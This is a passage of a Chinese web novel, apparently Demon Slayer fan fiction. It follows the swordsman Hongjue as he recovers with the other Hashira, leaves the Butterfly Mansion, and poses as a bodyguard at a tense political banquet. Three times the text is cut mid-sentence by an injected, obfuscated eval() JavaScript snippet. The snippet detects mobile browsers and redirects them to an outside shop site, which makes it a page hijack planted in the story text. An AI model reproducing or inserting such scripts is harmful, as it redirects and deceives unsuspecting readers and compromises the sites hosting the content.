昏睡的红诀不知情,而能看到力量具象化的马尔巴士可是被愿力那灯泡样的光刺激得眼圈泛红。更何况,金色流光边观察边碎碎念,认真之中又透出几分变态,让马尔巴士无从吐槽。 经过愿力这几天变态般的观察,也得出了一些有用的结论。 就如它曾经所说,被世界承认的红诀,其体内的魔神之力所承受的限制正在逐步打破。 这代表着红诀今后能使用的魔神之力会被以往多得多。 但被世界承认也代表着另一层面的限制,世界存在秩序,魔神之力的存在在这个世界属于异次元。比起寻常普通人或者恶鬼,魔神之力使用的限制也会被强制拔高。 简单来说,就是红诀使用魔神之力所耗费的体力会是以往的数倍。 狡猾的规则之力放弃扼住马尔巴士这个源头,而是选择约束红诀这个宿主施展力量的条件,作出了一定的让步。 而被颁发通行证的马尔巴士却没有想象中那么解气和开心,它当然也看出规则之力做出的手笔,但世界存在的规则和现实也让它明白,现在的情况已经是最好的让步。 对此,蓝色魔神只能气愤地骂几句,又精神饱满地投入所罗门的书库之中,发誓要讲红诀的身体改造成钢铁之躯,让自家宿主强大得让规则之力忌惮。 对马尔巴士和愿力所调查的结果,红诀没什么反应。他自己也知道力量的使用是有代价的,经过那一场战斗,他也看清了只有自己本身的强大才是真正的强大。 使用魔神之力再也不会承受规则之力侵蚀的痛苦,是件好事。 至于自己身体所能使用的极限,就只能靠自己努力。 这一漏洞,马尔巴士十分清楚。 蓝色魔神窝在书籍之中,笑得狰狞又嚣张。 因为他知道,规则之力还是小瞧了人类,人类的极限所在是从未有过定数的。 88.少年与养伤 马尔巴士和愿力沉迷研究,而红诀却一直在做梦。 睡在逐渐熟悉的木地板上,他能听见旁边友人们交谈的声音,却怎么也睁不开自己的眼睛。胸口似乎有一块巨石压着,每次尝试清醒又陷入新一轮的梦境里,不断做着清醒梦。 模糊之中,他能看见自己被沙土掩埋的双脚以及剧烈起伏的胸口,还有那高悬在夜空之上的眼睛。 硕大的眼睛缠着锁链,高高悬挂在夜空之上,半睁的姿态让其更加神秘莫测。本是可以看清的大小,红诀的眼前却像蒙上了一片白雾,看不清那神秘之眼。 沉浸在梦魇中的红发少年忽略心理和身体上的困倦,想要奋力抬起双脚,而下一秒掉入无限深渊,猛地从睡梦中惊醒。 热闹的道场上,红诀猛地从地上坐起来,他大吸一口气,脖间尽是冷汗。 一旁的时透被突然坐起来的红诀吓了一跳,淡然的雾青色双眸猛地瞪大了几分。没等他去询问红诀发生了什么事情,就看到背对着他的红发少年突然抬手摸了摸自己的后颈。 红诀在时透疑惑的注视下伸了个懒腰,他指尖触碰到自己后颈的冷汗时微微颤抖了一下,是冰凉的触感。 唉,我刚刚做了个什么梦? 不明白自己为何突然惊醒的红诀看着眼前的木地板发愣,他试图要回想起睡梦中所发生的一切,却得到一片空白。 呃,想不起来…… 红发少年盘腿坐在地上沉思,脸上的神色中带着几分纠结。 时透走到红诀身边坐下,“睡醒了?” 红诀摇了摇头回道,“醒了。” 发现怎么都想不起来,他索性就放弃想要回想的念头。他换了个位置,和时透一起看向道场中央的对练。 道场中,不死川和炼狱还在用木刀对练。因为大家的伤势都没好全,彼此身上现在还缠着大大小小的绷带,正式的康复训练还没被产物敷天音允许。 他们现在这波人就是在病房内呆着无聊,才来道场耍耍刀过过瘾。何况有蝴蝶姐妹在一旁盯着,产物敷天音也放心。 蝴蝶忍看见红诀醒来,就对他招了招手,她的手里还夹着一封信。 隔着一段距离,红诀也看见信上的字迹,那是灶门炭治郎寄过来的信。 对了,炭治郎他们已经开始正式执行任务了。 红诀后知后觉地想,他拉着时透走到蝴蝶忍那边,与其他人一起坐下,便拆开炭治郎的信。 “有什么好事情吗?” 蝴蝶忍的手腕还缠着绷带,见红诀边看嘴边带着笑意,她举着手里的茶杯喝了一口,带点好奇地问。 “也算是好消息吧,炭治郎他们已经顺利完成了第一次任务,他们几个还一起解决了一个旧下弦。” 红诀开心地与蝴蝶忍分享,听到炭治郎兄妹还遇到旧下弦,蝴蝶忍有些惊讶。 “旧下弦?能在刚开始任务的时候就遇到并且解决,看来他们的实力和运气都不错。” 蝴蝶忍肯定地说道,对于炭治郎和祢豆子那对兄妹,她在去花街执行任务后就很少见到了,没想到他们不仅训练时间短,实力和天赋也非常不错。 “那是,不看看是我们可是鳞泷老师的弟子!” 红诀没有谦虚,他笑着挺直了自己的腰板,眼里带着和煦的笑意。 鳞泷所在的狭雾山,在这届鬼杀队中是出了名的存在。不仅是有了红诀他们这三名现任柱的招牌,而且其训练的变态也是人尽皆知。 有了红诀他们在鳞泷耳边的拱火,以及红诀时不时的检验,现如今的狭雾山训练可谓是地狱级别。 用锖兔的话说,“要是被他们知道现在的难度是红诀你添料的,沙柱的高大形象是要坍塌喽。” 当时水门四人还聚集在狭雾山鳞泷的院前,鳞泷听完这句话直接给了锖兔肩膀一巴掌。他可是对如今狭雾山的训练强度非常满意,锖兔这话他可不赞同。 “实力才是保住姓名的根本,可不能懈怠!” “知道了,老师。” 见鳞泷较真,红诀他们也明白他的性格,知道老师也是为弟子着想,玩笑也不敢开过。同时也不好太过大声,毕竟他们几人的师弟师妹现在还在山上挨训呢。 作为师兄师姐们,他们当然也认同鳞泷的观点,只是每每见到炭治郎和祢豆子他们,心底总有几分幸灾乐祸和庆幸。 亏得自己来得早。 不过这话可不兴让鳞泷老师知道,不然又要挨训了。 “我可听真菰说了,你小子可出了不少力气。” 蝴蝶忍跟鳞泷门下的真菰也认识,真菰因为任务原因之前来蝶屋来得比较勤。有着相同烦恼的缘故,她和真菰一见如故,还从真菰得知不少有关水门的趣事。 “不能全赖我,锖兔、义勇还有真菰都有份。”红诀掰着手指头一个个数着。 “知道了知道了。”蝴蝶忍拖长了声音回答。 几人闲聊了一会,不死川和炼狱两人也收刀走了过来。两人额间都出了不少汗,坐到红诀身边时,红诀都能感到他们身上传过来的热气。 不死川一坐下,就有些纠结地说,“还是没找到那天和上弦叁作战时的感觉。” 他用力握了握自己的手掌,盯着拳头无奈地摇了摇头,“斑纹也没有头绪。” 经过那一夜,受伤的九名柱中都在战斗中成功开出了斑纹。那夜的战斗虽然激烈,却也给了大家九死一生的体验,在绝境中实力也得到了大幅度的提升。 昔日红诀他们在灶门家体验的斑纹力量,他们在绝境中也成功触发,体验了那令人难忘的绝妙战斗体验。 蝴蝶香奈惠笑得温柔,“啊拉,我们怎么没记得你们被允许可以进行斑纹的训练了。” 闻言,不死川一顿,有些示弱地回答,“没有没有,我们可没这么干。” 一旁的炼狱也抱胸地点了点头,大声应道自己和不死川并没有训练过度。 几人说话间,原本在周围说话伊黑他们也走了过来,九名柱聚在一起,你一言我一句讨论起问题来。 恢复的这几日来,九柱聚在一起开会的场景,蝶屋的人已经见怪不怪了。一帮责任心过剩的人聚在一起,让他们安心地修养是根本不可能的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581642|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开会的话题都是在回顾那夜的战斗体验,都在争取将那日的经验分享吸收,进一步提升自己的实力。 无论是开启斑纹的体验,还是最后红诀他们解决已经突破砍断脖子这一界限的上弦壹、上弦叁这种经验,都是值得分享的。 只不过对于最后能够成功击溃上弦壹和上弦叁那一击,红诀三人都没能说清楚具体发生了何事。不死川只能想起的是自己手里的日轮刀当时红得滚烫,隔着刀锷都能感到热意。而炼狱因为视线的阻挡并没能看清当时的具体细节。 红诀也不能肯定,有着魔神之力的缘故,他也不能分辨当时最后一击是不是使用魔神之力的结果。 这一问题讨论来讨论去,最后也没有一个结果,只能汇报给产物敷耀哉,交给主公大人去查询,看看鬼杀队历史上是不是有相类似的情报。 转眼间,红诀几人修养已经过去快两个月。 在这两个月中,受伤程度较轻的时透和伊黑已经投入到任务之中,花街的四人因为毒素影响,还不能离开蝶屋。不死川和炼狱的骨折也需要时间恢复。 最后,第三个被允许离开蝶屋的,竟然是最后清醒的红诀。 怪物般的体质让他的恢复速度比不死川他们还快,能走能跳。在其他人还不能剧烈运动的时候,就已经在道场将木刀挥舞的快成花了。 看着精神满满的红诀,蝴蝶忍也查不出他还有其他需要修养的地方,和香奈惠以及产物敷天音一起同意了红诀的离开申请。 在养伤的这两个月期间,红诀还在蝶屋遇到意想不到的客人。大约在月初,许久不见的炭治郎等人被义勇护送回了蝶屋。 四人整整齐齐被送进来的那一幕,可惊动了无所事事的几名柱,红诀他们都凑过去看热闹。从义勇口中才得知,他们几个在那田蜘蛛山遇到了下弦伍,受伤都不轻。 四人中,除了红诀认识的炭治郎兄妹和伊之助,还有一个生面孔,叫我妻善逸,是前雷柱的弟子。 这次发现下弦伍,是个很大的突破。从那夜以来,有关鬼舞辻无惨的情报少之又少。除去被盯梢的那几个已经被消灭的上弦手下,剩下的十二鬼月都销声匿迹。 像是被鬼舞辻无惨勒令藏匿一般,一点踪迹都无从寻起。 下弦伍的情报一出,产物敷耀哉就立马派遣双水柱前往调查。行动的目的,除去解决作恶作乱的下弦伍,还有便是从下弦伍口中截取有关鬼舞辻无惨的情报。 有了蝶屋出品的抑制剂,从恶鬼中找到有关鬼舞辻无惨有关情报已经不算难题。义勇负责护送受伤的剑士回到蝶屋,而锖兔则是带着情报去往产物敷宅邸。 义勇达到蝶屋看到自觉凑过来看热闹的同僚们,顶不住同僚们好奇的目光,将这次任务的所有细节都告诉了他们。事先被主公大人告知不必隐瞒的他可被其他几人逮住一通好问,最后逼得义勇忍不了爆出一句,“你们可真够闲的。” 闻言,几人都无所畏惧,“没办法,养伤实在太无聊了。” 连一向和义勇合不太来的不死川在聊天中都和颜悦色,看出来真的被养伤折磨得不清。 89.少年与会面 清晨,几声悦耳的鸟鸣唤醒了安静的蝶屋。 躺在床上的红发少年皱着脸睁开眼,坐起身子打了个大大的呵欠。 昨夜折腾了半宿,红诀现在还不太精神,睡眠不足带来的困倦让他一直打呵欠。 红诀能够率先离开,这段时间可让不死川和宇髓天元其他还在休养的人在好好羡慕了一番。蝴蝶忍看他生龙活虎,临别前还抽了他几管血作为研究打发时间。和红诀同住一个病房的那几个就更不用说了,昨夜四人相约道场好好训练了一场。 不死川他们几个三对一,从红诀身上狠狠出了心口的郁气。 红诀看着病房内其他几个还在呼呼大睡的友人,半响无奈地起身洗漱。今天是他离开蝶屋的日子,两个月来的休养可把他的身子骨都泡酥软了,能提前离开去执行任务,他这一大清早心情都是雀跃的。 洗漱完毕,红诀习惯性地走向道场,走到半途才想起今日可以不用再过去了。但脚步已经走到道场门口,他微一顿,听着里面木刀碰撞在一起的清脆声,还是迈了进去。 这段时间内,道场除去闲得无聊的不死川他们,还有在进行康复训练的炭治郎他们。 月初来的炭治郎祢豆子他们受伤都不轻,还需要再休养些时日。对于这一消息,炭治郎四人中有人喜有人悲。 对于勤奋的灶门兄妹和渴望变强的伊之助来说,和几名柱一起进行康复训练,可是能接受指导的绝妙机会。这几天他们可是痛并快乐着。而对于我妻善逸来说,这几日只有无穷无尽的痛苦。 拜托,那可是柱唉。和他们对练只有挨揍的命! 几日下来被揍得睡觉都抽筋的善逸欲哭无泪,却也一日不落地跟着同伴们一起训练。 不死川和宇髓他们都不是会心软的个性,有小辈来供他们折腾,他们可高兴坏了。毕竟康复训练枯燥,总是面对同僚那一张张死鱼脸,还不如找新的乐子。 炭治郎他们四人当初排排被抬进蝶屋的场景,几名柱可都看得一清二楚。那一个个的眼神里,除了看热闹还有打量。 熟悉同僚个性的义勇离开前还友情提醒过炭治郎,让他们小心不死川和宇髓他们。不过直率单纯的炭治郎可听不懂话中的意味。 直到这几日开始在宇髓他们几人的指导下过上水生火热的生活,他才终于后知后觉。 在未加入鬼杀队前,炭治郎接触过的柱级人物只有红诀和蝴蝶忍、义勇和锖兔。加入鬼杀队后,炭治郎也没少听到鬼杀队中关于柱们的流言。 因着村田先生流通的信息源,炭治郎也听过关于其他几名柱的传闻。要知道他第一次从村田先生口中听到红诀先生他们的八卦时,都差点控制不了自己脸上的表情。 什么红色野兽,不好相处的义勇先生,这些与本人严重不符的谣言到底是怎么传出来的。 而到真正见到本人,炭治郎才发现那些传闻真假参半,但只有见到本人,才能感受到柱们的魅力。 风柱不死川大人并不是穷凶极恶的恶霸,而是暴躁却又很温柔的好人。虽然训练的时候一点同情心都没有,招招下狠手,但总会点出他们不足的点。而且对于自己的弟弟妹妹们也很温柔。 与炭治郎和祢豆子他们一样,灶门花子和竹雄也通过了培训,从这段时间开始在蝶屋和神崎她们一起负责照料伤员。 而音柱宇髓天元大人和传闻中一样,是个有三名漂亮夫人的英俊男人。但就是有些自恋,话语中总是离不开华丽二字。恋柱甘露寺蜜璃大人是位可爱的女孩子,时常照顾祢豆子她们,还教祢豆子和花子怎样编三股辫。 花柱蝴蝶香奈惠大人和忍小姐给人的感觉不一样,不同与忍小姐眉眼种带着几分英气,香奈惠给人的感觉非常非常的温柔,为他们四个处理伤口时也很轻柔,和传闻中一样,是像神女一样的蝴蝶大人。 炎柱炼狱杏寿郎大人是位值得尊敬的大哥,总是开朗直率地指出他们的缺点,还细心地指导他们剑技,鼓励他们,给人一种很可靠的感觉。 加上已经熟悉的沙柱红诀哥哥,虫柱蝴蝶忍小姐,炭治郎越发对鬼杀队产生强烈的归属感和自豪感。因为走在他们这些队员前面的柱们,都是非常温柔且可靠的人,令人信任又令人向往。 虽然在训练时柱们下手毫不留情,但他们都知道,柱们对他们的期望。 所以,他们要变得更强一些,抓住能够进步的机会,好好努力! 今天!一定要让炼狱大哥看到我的进步! 道场内,意气风发的炭治郎握紧手中的木刀,坚定地想着。一旁被拉着起床的我妻善逸瘫在地上边睡边抽搐,伊之助则是戴着猪头套有一下没一下地打瞌睡。 红诀进门的时候看到的就是这一幕。 见红诀过来,炭治郎有些惊喜地说,“红诀哥哥,你今天怎么还会来道场?今天不是你要离开的日子吗?” “啊。习惯性又走到这里了。”红诀挠了挠自己的头发,“早上好,炭治郎。手肘可以再抬高一点哦。”他打了呵欠盘腿坐在地上,扬了扬下巴示意炭治郎继续。 “是!” 炭治郎依照红诀的指导改善动作,发现动作更加轻便后,他挥刀更加专注。 而一旁打瞌睡的伊之助看见来人是红诀,看了一眼又继续打。 有了红诀的指导声和炭治郎的挥刀声做背景声,伊之助越看越觉得道场的地板像床。不知不觉就一头栽到地上,和我妻善逸一样陷入了梦乡。 待他醒来,红诀已经不见了身影,取而代之的是眼前眼花缭乱的各种呼吸法,那是柱们开始训练了。 红诀说是第三个可以离开蝶屋的,其实剩下的几名柱离开的时间也就这几日左右,只不过先后顺序不一样罢了。 “红诀山大王呢?” 他疑惑地左看右看。 “红诀哥哥在伊之助睡着的时候就离开蝶屋了哦。” 坐在他身边的祢豆子全神贯注地看着柱们的训练,边回答道。 红诀在道场指导完炭治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604072|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎后,便去寻了祢豆子加固了封印,还去看了时透有一郎的情况。红发少年悄悄做好了一切,在蝶屋大多数人还在沉睡时离开了蝶屋,奔赴到下一个任务点。 毕竟鬼舞辻无惨现在的踪迹,还是一团迷雾。 ***** 加入追查队伍的红诀在一边寻找鬼舞辻无惨踪迹的同时,也还在负责百毒武器的研发。 因着那夜百毒武器的优秀表现,产屋敷耀哉对负责研发的铁洞井峰岩以及筹备零件的沼田鸣都写了感谢信。收到主公大人亲手写的感谢信,这两人爆发出前所未有的干劲。 铁洞井峰岩之前到蝶屋给红诀送新日轮刀时都难掩激动,壮硕的汉子捂住藏在自己心口的信和红诀说着自己心中的抱负,长满胡子的脸上更是流下了激动的泪水。 沼田鸣更是将主公大人写的信放在书房的桌下,用透明玻璃压在桌上,便于自己时时观看,时时激励。 沼田刚次郎有几回去过他弟弟的书房,看着自家弟弟干劲十足的模样,赞许地点了点头,夸了两句产屋敷耀哉的书法不错。 这一点还被沼田美化,写进寄给产屋敷耀哉的信中。让产屋敷耀哉多了几分心思,想要在下次与沼田刚次郎会面时找上几幅有名的佳作,当作拜访的礼物。 而今天,换了一身装扮的红诀来到东京浅草的雅清屋,为的就是和沼田鸣商讨百毒系列武器后续的工作。 红发少年一身武士打扮,深黑色的武士服是时下最流行的样式,内衬为白,袖口处还绣有几朵金色的祥云,他脚下的木屐走动间咯吱作响,腰间别着布条包裹着武器。 远远望去,就是一名帅气的少年武士。 红诀今日的装扮是沼田鸣准备的,最近的东京浅草因着政局动荡,街上巡逻的警察突然变多了起来。对于刀具的检查也是越发严格,鬼杀队很多剑士都因为这突然变化的局势没能进入东京浅草执行任务。 为这次见面,沼田鸣特地为红诀伪造了一个假身份,一名名为松田滋的少年武士,隶属于沼田家族。 有了假身份,红诀带着被布条包裹的日轮刀顺利进入东京浅草府,一路上,他都能感到街上与曾经不同的氛围。路上巡逻的警察和武士比以往更多,即使红诀走到繁华的街区,也还有警察拦下检查身份。 好在沼田鸣伪造的身份并没有什么问题,红诀才能不受阻碍地来到约定的地点。 两人约定的地点还是第一次的雅清屋,但站在柜台后的人,却不是当时那位名为山中的渠口组大汉,而是换了另外一名黑发的年轻小哥。 少年武士正脸色紧绷地站在雅清屋门口,背后是周围行人火辣辣的目光,他故作镇定地抬脚走进雅清屋。直到走到屋内,红发少年紧绷的脸色才有所缓解。 他看着站在柜台后面带疑惑的陌生小哥,镇定开口—— “你好,我是松田滋,来领取沼田少爷留存在这里的一幅画。” 红发少年从怀里掏出一枚木牌,木牌上刻有叁的字样。 90.少年与新身份 红诀道出沼田鸣准备的假名后,站在柜台后的陌生小哥闻言脸上划过一道异色,他伸出双手接过红诀递过来的木牌,礼貌地说,“客人可以直接右拐上楼,左手第一间便是你预约的房间。” 红诀顺着小哥指的方向看去,后点了点头,顺着路线上了楼。 他一步步走向咯吱作响的木楼梯,敏锐地感觉到了不对劲。上次他到雅清屋来,有那位名为山中的小哥指引,不知道寻常的雅清屋预约有这种名堂。 思索一番,不懂官场上尔虞我诈和形式变化的红诀,只能将这等变化归结为沼田鸣之前的救命恩情怕是消耗殆尽了。 或者是,这雅清屋上头换人了? 红诀没错过当时那位小哥脸色的变化,他停顿在沼田鸣预约的房间前,突然觉得这次沼田鸣找自己来怕是不仅仅为了百毒系列武器的事情。 在来这之前,主公大人给他的信也像是在隐晦地说些什么。 唉,早知道前天和时透分开前就请他帮忙分析一下了,红诀扯了扯自己身上让自己不自在的武士服,抬手敲了敲房门。 咚咚几声落下,屋内却没传出什么声响。 等了一会,红诀只好推开门。屋内的摆设和他之前来的如出一辙,只不过这间房间比较临街,推开窗就能看见街上的景色。 没等红诀站在窗边寻找沼田鸣的身影,他背后的房门被猛地推开。 他转头一看,来人是身形有些鬼祟的沼田鸣。 沼田鸣穿着一身低调的布衣服,不像之前见面那种定制的大家族子弟的装扮,特地伪装的他看起来就和红诀刚刚在窗边看到的行人一样。 见到红诀,小心翼翼的沼田鸣猛地松了一口气。他亲切地拉过站在窗边的红诀,又动作别扭地关上被打开的窗户。 待房间内安静下来后,他才开口说话。 “可憋死我了。”沼田鸣盘腿坐在地上,见红诀一脸疑惑的样子,他嘿嘿一笑,才开始解释这一路上怪异的一切。 最近一段时间,沼田家族和产屋敷家族合作的阵仗加大了几分,产屋敷耀哉为能从更多的地方寻找关于鬼舞辻无惨的踪迹,费了很多心思。 除去鬼杀队队员在各地搜索情报外,他也将目光转移到了政府高层。 产屋敷耀哉将分寸把握得很好,他并没有想要在政局瓜分势力获取权力的意思,他只想借着高层的眼线揪出鬼舞辻无惨的所在。正因着产屋敷耀哉这一点,沼田刚次郎才可以放心与起合作。 产屋敷天音背后是神官家族,而产屋敷家族倚靠独特的天赋能力,是富有一方的阔户代表。 借着沼田家族扩大的眼线,从合作以来,鬼杀队获取很多以前未曾听闻的情报。如今上弦之鬼全灭,正是鬼舞辻无惨最衰弱的时刻,所以要尽一切力量找出他的踪迹,一举结束这数百年的宿命。 有产屋敷家族的全力支持,沼田刚次郎自然喜闻乐见。 而沼田家族的崛起触动了很多高层家族的利益,对这匹之前毫无存在感的黑马,被触及利益的家族们都坐不住了,纷纷出手拦截,给沼田家族添堵。 作为最近在高层聚会上传出不少名气的沼田鸣自然也逃不过。在多方施压之下,原本与沼田鸣交好的渠口组只能暂时减少来往。 依沼田刚次郎的话说,明面上的冲突在这个时机并不是好选择。 要想真正突破其他高层家族的围堵,只能抓住时机一举突破。 沼田鸣不知道自家大哥和主公大人以及渠口组老大商量了些什么,但嗅觉敏锐的他选择照办。不过就是低调行事,他不出门就行了。 “我们明面上是和渠口组闹掰了。”沼田鸣指了指下面,“也不能说闹掰吧,只是明面上我不是他们这的座上宾了。” “不过都是有后手的,我大哥和主公大人都做好了决策,我们只要静等时机到来就好了。” 稀里糊涂地听完沼田鸣的解释,红诀还是搞不清里面的谋划,他看了沼田指了指自己,疑惑地问,“那你写信让我来干什么?” “我只会打架,不懂谋划。” 沼田说的那些东西,红诀都听不懂。从独自生活以来,他与权势最近的距离,就是在城镇中心集市看过当地领主演讲,只不过他当时看到一半,领主大人就被刺杀了。而因为自己的敏锐感知,小小的他觉得形势不妙,就早早顺着小巷离开了案发之地。 后来他听说,当时在场围观的众人都被关进了大牢里审问去了。 沼田鸣大哥和主公大人的谋划他听不懂,但他知道,只要明白自己在这其中能做些什么就行了。 自己来这里究竟要做些什么呢? 闻言,沼田鸣不怀好意地看着红诀,嘿嘿一笑,“要得就是你会打架这一点,不然我也不会给你武士这一身份。” 沼田鸣揽过懵懂的红诀,压低声音在他耳边嘀咕了一番。 不大的房间里,红发少年的脸色随着沼田鸣的低语越变越皱巴,最后直接化作一张失去所有颜色的苦瓜脸,整个人轻飘飘地瘫在地上。 “我……我觉得,我不行。” “你行!我说你行就行!” “我……”不行啊! “走了走了!” 红诀无声的呐喊最后被猴急的沼田鸣抹杀在摇篮中,只能任由摆布地随着沼田鸣来到沼田家族。 然后他作为沼田二少爷新上任的保镖,水灵灵地上岗了。 ***** 新上岗、来这个世界,正式有了一份明面上工作的红诀保镖,此刻正和自己的雇主坐在他那装潢并不低调的书房内胡吃海塞。 红诀上岗有两天了。 这两天内,红诀已经熟悉了沼田家宅的内部结构,也见过了沼田鸣口中不解风情的古板大哥,同时也适应了自己身上这套他穿着别扭的武士服。 现在的他,可以穿着这身衣服,吃相优雅地啃着大块的酱味叉烧了。 当然,红诀这两天也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660617|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没忘记自己的本职工作,每天夜里都做夜行侠,好好清扫一下周围潜在的恶鬼。 有了友人作伴的沼田鸣晃着脚瘫在沙发上,他耳边是红诀的咀嚼声,手里是沼田刚次郎分配的日常任务。今天的是熟悉明天晚上宴会上的各种人员关系,以及出现家族背后那些勾心斗角的八卦消息。 “嘶。” 又看到一篇其他家族的丑闻秘辛的沼田鸣倒吸一口凉气,他起身正想和红诀分享一番,就看到自己好友身前嗦得干干净净的一盘骨头。 沼田吐槽:“你那工资就是被你这样子吃没的吧,红诀。” 红诀打了个饱嗝,含糊地回答,“我的工资还有很多呢。” “算了算了,你吃吧。”沼田鸣无奈摆了摆手,又躺了回去,“这么吃也不见你胖,真让人羡慕。” 他嘟嘟囔囔地摸了把自己肚子上的肥肉,长叹一口气。 明天的宴会他和红诀都会参加,昨夜他还特地找了名裁缝,为他和红诀量身定做了明天的衣服。 红诀那小子脱下衣服后的模样,真是让人羡慕。那块块分明的腹肌,以及那白皙光泽的皮肤。瘦而富有力量感的身体,不仅让沼田流下了羡慕的泪水,还让量尺寸的裁缝赞不绝口。 直夸得红诀满脸通红,只留背景失去颜色的沼田鸣。 明天的宴会可是一场大戏,沼田鸣掂量了手里厚厚的情报,也明白这些日子来自家大哥和主公大人以及渠口组老大的谋划就会在明晚来到尾声。 明天的宴会就是一场鸿门宴,据沼田和产屋敷家族的情报网,那些针对沼田家族的其他家族可是在背地里暗自买凶,想要在明天晚上上演一番行刺的戏码。 特地找红诀过来,一是因为红诀能力强而且感知敏锐,可以以防明天晚上恶鬼存在的后患,同时保护参与宴会的沼田刚次郎和沼田鸣;二是主公大人也需要红诀这名实力强大的沙柱去代表产屋敷家族,红诀样貌不错,实力强悍,与沼田鸣也十分较好,是产屋敷家族与沼田家族交好的最好证明。 明白主公大人打算的沼田鸣在当时可是暗爽了一把,每天做梦都不由得代入主公大人的视角,在宴会上抛出红诀这张王牌,明晃晃地告诉众人—— 这张底牌强大吧,我还有十二张这样子的。 这也太爽了吧!一看就非常有排面。 啊不,能有红诀作为保镖的我也很有排面。 越来越期待明晚的到来了。 想着想着越发高兴的沼田鸣在沙发上扭成了一条蛇,惹得红诀停下手里的咬了一半的糕点不解地看向好友。 沼田也在为明天的宴会紧张吗? 意外社恐的红诀在脑海里预设了下明天宴会上人来人往的场景,不禁打了个寒颤。 [马尔巴士,怎么办?我还是有些紧张。] [紧张什么,别忘了你也是有着万贯家财的人!你寄存在我这里的无数金银财宝拿出去都能填满整个宴会厅了,挺直腰板来!] 91.少年与宴会(一) 是夜,东京浅草郊区,一场盛大的宴会在灯火通明的宅院中举办。 今天这场鸿门宴会有什么结果,沼田刚次郎在来之前就和红诀有所讨论。 所有人都知道今天的宴会定会发生冲突,而那些想要铲除沼田家族这颗钉子自己又不想沾上一点污泥的,不外乎是借他人之手,只要行刺的人不是他们自己的人,他们就可以说是沼田家族自己招惹的敌人。 玩得再黑一点,便是一窝端了,将行刺之人的名头按在目前与沼田家族渐行渐远的渠口组,或是产屋敷家族代代所斩灭的恶鬼,这两者头上,既合情合理,又能一举两得。 “产屋敷已经查出了一点踪迹。那些找事的家族,无一例外都与恶鬼有所联系。”沼田刚次郎来时坐在车内揉了揉自己的眉心,话毕又自嘲地说了声,“啊不,位于这东京中心区的富贵家族的主事人,都知晓恶鬼这一存在。” “只是利益的天平,让他们视而不见罢了。” 沼田鸣闻言沉默,今天特地装扮一番的他变得正经了些,抹了发胶的头发油亮整齐,“大哥不也说了,这夜也是我们的机会。” 那些人能想到的东西,产屋敷耀哉和沼田刚次郎这两名狐狸当然也能想到。局中局,这场鸿门宴,谁是最后的赢家,谁也说不定。 “你说得不错,他们想要杀我们,没那么容易。”沼田刚次郎看着窗外不断飞驰的景色,幽幽地补充了一句,“宴会嘛,得人越多越好。” 听着沼田兄弟的低语,红诀脸色也变得有些凝重,主公大人他们的谋划他不了解,不过今夜,没有人能从他的眼皮底下伤到沼田兄弟两人,这是他的任务也是他必须要做到的事情。 月色高升,空中的弦月在云层中若隐若现,属于恶鬼的狂欢时刻,悄然到来。 红诀和沼田兄弟到的时候,宅邸大厅已经汇聚了不少人。今日红诀换了一套更为低调的黑色武士服,但不论做工还是布料,穿起身来都要比之前那套更为舒服。 武士服的背后,还绣有产屋敷家族的标志,紫藤花的图案用紫色的绣线点缀在衣服上,走动间低调又不失风采。 今日的红诀不是作为沼田家的武士进场的,沼田家武士这一身份,起先就是为了避开那些家族打探的耳目,让红诀可以顺利进入到东京浅草区域内。 依沼田鸣的话来说,只要证件齐全,那些找事的没有证据在明面上揪出问题,就算他们知道红诀根本就不是松田滋这一身份也依旧会放行。 这是属于他们之间默认的明面规矩,当然,这也代表了,如果那些家族能将那些腌臜事办得滴水不漏,那么就没有人能找到他们的错处。 在宴会外的登记处,红诀等人的武器也被收缴了。宅邸的外厅是有安保的,但进入内厅,进去的所有人都要进行检查,红诀三人也不例外。 面对工作人员收缴武器的要求,红诀没有抵触,这是在来之前沼田刚次郎就已经说明过了。 沼田刚次郎在前,红诀和沼田鸣跟在他身后进入内厅。与外厅不同,内厅的规模虽小,但站在厅内的人都是身份不低。沼田鸣平日一起玩的少爷小姐们都在外厅载歌载舞,内厅多的是觥筹交错,三三两两凑在一起交谈的人。 依红诀的话来说,各个都有沼田大哥身上的气势。 一进入内厅,沼田刚次郎就率先扬起标准的笑容,笑着朝站在中央正一脸严肃的老者走去。他身后的沼田鸣和红诀也跟了上去。 走动间,红诀能明显感到有不少目光都聚集在自己的身上,特别是背后的花纹上。目光中更不乏恶意的打量,他都循着一个个看去,却只得到那些人看似友善的举杯。 一旁的沼田鸣拉着红诀小声嘀咕,“看见和我大哥交谈的人没有,那是我大哥叫来的外援。” 沼田鸣指了指那名严肃的老者,他身边还有一位温婉的女伴,虽发间有了几缕白发,但脸上风华不减。 